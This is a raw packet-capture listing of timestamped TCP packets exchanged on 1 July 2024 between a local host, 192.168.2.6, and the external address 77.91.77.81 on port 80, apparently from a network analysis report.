Jul 1, 2024 07:21:02.002657890 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.002665997 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.002681971 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.002702951 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.002764940 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.002775908 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.002785921 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.002795935 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.002813101 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.002836943 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.002909899 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.002923012 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.002933979 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.002945900 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.002953053 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.002957106 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.002976894 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.003000975 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.003222942 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.003261089 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.003272057 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.003305912 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.003324986 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.003367901 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.003381014 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.003391027 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.003401041 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.003413916 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.003424883 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.003448963 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.003515959 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.003528118 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.003537893 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.003556013 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.003561020 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.003567934 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.003578901 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.003580093 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.003591061 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.003601074 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.003602982 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.003614902 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.003623009 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.003647089 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.003848076 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.003859997 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.003870010 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.003881931 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.003891945 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.003896952 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.003902912 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.003911018 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.003920078 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.003931046 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.003931999 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.003945112 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.003962994 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.003985882 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.004044056 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.004086018 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.030268908 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.030288935 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.030308962 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.030320883 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.030325890 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.030333996 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.030348063 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.030355930 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.030366898 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.030380011 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.030395985 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.030397892 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.030416965 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.030419111 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.030430079 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.030436993 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.030445099 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.030461073 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.030483007 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.030522108 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.030534029 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.030544996 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.030556917 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.030569077 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.030577898 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.030597925 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.030608892 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.030626059 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.030653000 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.030668020 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.030689955 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.030730963 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.030742884 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.030755997 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.030770063 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.030780077 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.030797005 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.030802965 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.030838013 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.059745073 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.059765100 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.059778929 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.059796095 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.059854031 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.059864998 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.059869051 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.059879065 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.059899092 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.059920073 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.091267109 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.091279984 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.091291904 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.091345072 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.091355085 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.091367006 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.091378927 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.091381073 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.091413975 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.091428995 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.091439962 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.091459036 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.091478109 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.091489077 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.091499090 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.091519117 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.091536999 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.091563940 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.091576099 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.091588020 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.091598034 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.091613054 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.091635942 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.091655016 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.091665983 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.091691017 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.091702938 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.091713905 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.091716051 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.091739893 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.091749907 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.091804028 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.091815948 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.091835022 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.091841936 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.091845989 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.091862917 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.091878891 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.093300104 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.093326092 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.093338013 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.093348980 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.093360901 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.093379974 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.093427896 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.093440056 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.093452930 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.093465090 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.093478918 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.093504906 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.093574047 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.093585968 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.093595982 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.093607903 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.093615055 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.093620062 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.093632936 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.093640089 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.093657970 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.093692064 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.093700886 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.093712091 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.093749046 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.093764067 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.093952894 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.093965054 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.093976021 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.093997955 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.094008923 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.094192982 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.094204903 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.094216108 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.094238997 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.094255924 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.094265938 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.094281912 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.094307899 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.094317913 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.094366074 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.094377995 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.094423056 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.094423056 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.094435930 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.094448090 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.094470024 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.094480991 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.094502926 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.094516039 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.094546080 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.094558954 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.094592094 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.094604015 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.094638109 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.094661951 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.094749928 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.094760895 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.094772100 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.094793081 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.094805956 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.094815016 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.094826937 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.094837904 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.094849110 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.094861031 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.094871044 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.094872952 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.094883919 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.094887018 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.094908953 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.094923019 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.094959021 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.094975948 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.095000029 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.095012903 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.095016003 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.095029116 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.095045090 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.095055103 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.095068932 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.095084906 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.095098019 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.095140934 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.095154047 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.095165014 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.095177889 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.095185995 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.095197916 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.095225096 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.095271111 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.095283031 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.095295906 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.095308065 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.095316887 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.095339060 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.095365047 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.095387936 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.095401049 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.095438957 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.095464945 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.095505953 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.119970083 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.120068073 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.120079994 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.120099068 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.120109081 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.120153904 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.120165110 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.120176077 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.120207071 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.120248079 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.120258093 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.120264053 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.120306969 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.120393038 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.120405912 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.120426893 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.120439053 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.120440006 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.120451927 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.120464087 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.120467901 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.120501995 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.120501995 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.120510101 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.120513916 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.120537996 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.120556116 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.120580912 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.120593071 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.120604992 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.120615959 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.120635986 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.120659113 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.120661020 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.120702028 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.120709896 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.120722055 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.120738029 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.120748043 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.120767117 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.120794058 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.120820045 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.120831966 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.120865107 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.120872974 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.120878935 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.120889902 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.120908976 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.148583889 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.148601055 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.148622990 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.148633003 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.148644924 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.148660898 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.148674965 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.148691893 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.148758888 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.148804903 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.180207014 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.180238962 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.180250883 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.180289984 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.180300951 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.180313110 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.180325985 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.180336952 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.180391073 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.180402040 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.180414915 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.180418015 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.180448055 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.180468082 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.180473089 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.180490971 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.180505037 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.180535078 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.180561066 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.180562019 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.180573940 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.180612087 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.180614948 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.180627108 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.180646896 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.180655956 CEST	49726	80	192.168.2.6	77.91.77.81
